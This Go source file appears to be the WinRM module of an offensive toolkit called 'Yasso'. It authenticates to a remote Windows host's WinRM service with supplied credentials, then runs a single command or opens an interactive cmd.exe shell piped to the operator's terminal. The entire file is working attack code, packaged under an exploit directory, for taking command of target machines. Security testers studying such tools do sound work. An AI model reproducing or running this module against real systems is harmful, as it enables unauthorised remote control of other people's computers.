package winrm

import (
	config2 "Yasso/config"
	"Yasso/core/logger"
	"Yasso/core/plugin"
	"Yasso/pkg/exploit/config"
	"fmt"
	"github.com/masterzen/winrm"
	"io"
	"os"
	"time"
)

func ExploitWinRM(exploits config.Exploits, Command string, isShell int) {
	WinRMConn, status, err := plugin.WinRMAuth(config2.ServiceConn{
		Hostname: exploits.Hostname,
		Port:     exploits.Port,
		Timeout:  1000 * time.Millisecond,
	}, exploits.User, exploits.Pass)

	if err != nil || status == false {
		return
	}
	switch isShell {
	case 1:
		WinRMShell(WinRMConn, Command, false)
	case 2:
		WinRMShell(WinRMConn, Command, true)
	default:
		logger.Fatal("not found exploit method")
		return
	}
}

func WinRMShell(client *winrm.Client, Command string, shell bool) {
	if shell == true {
		shell, err := client.CreateShell()
		if err != nil {
			logger.Fatal(fmt.Sprintf("create shell failed %v", err))
			return
		}
		var cmd *winrm.Command
		cmd, err = shell.Execute("cmd.exe")
		if err != nil {
			logger.Fatal(fmt.Sprintf("[!] create shell failed %v", err))
			return
		}

		go io.Copy(cmd.Stdin, os.Stdin)
		go io.Copy(os.Stdout, cmd.Stdout)
		go io.Copy(os.Stderr, cmd.Stderr)
		cmd.Wait()
		shell.Close()
	} else {
		_, err := client.Run(Command, os.Stdout, os.Stderr)
		if err != nil {
			logger.Fatal(fmt.Sprintf("[!] Execute Command failed %v", err))
			return
		}
	}
}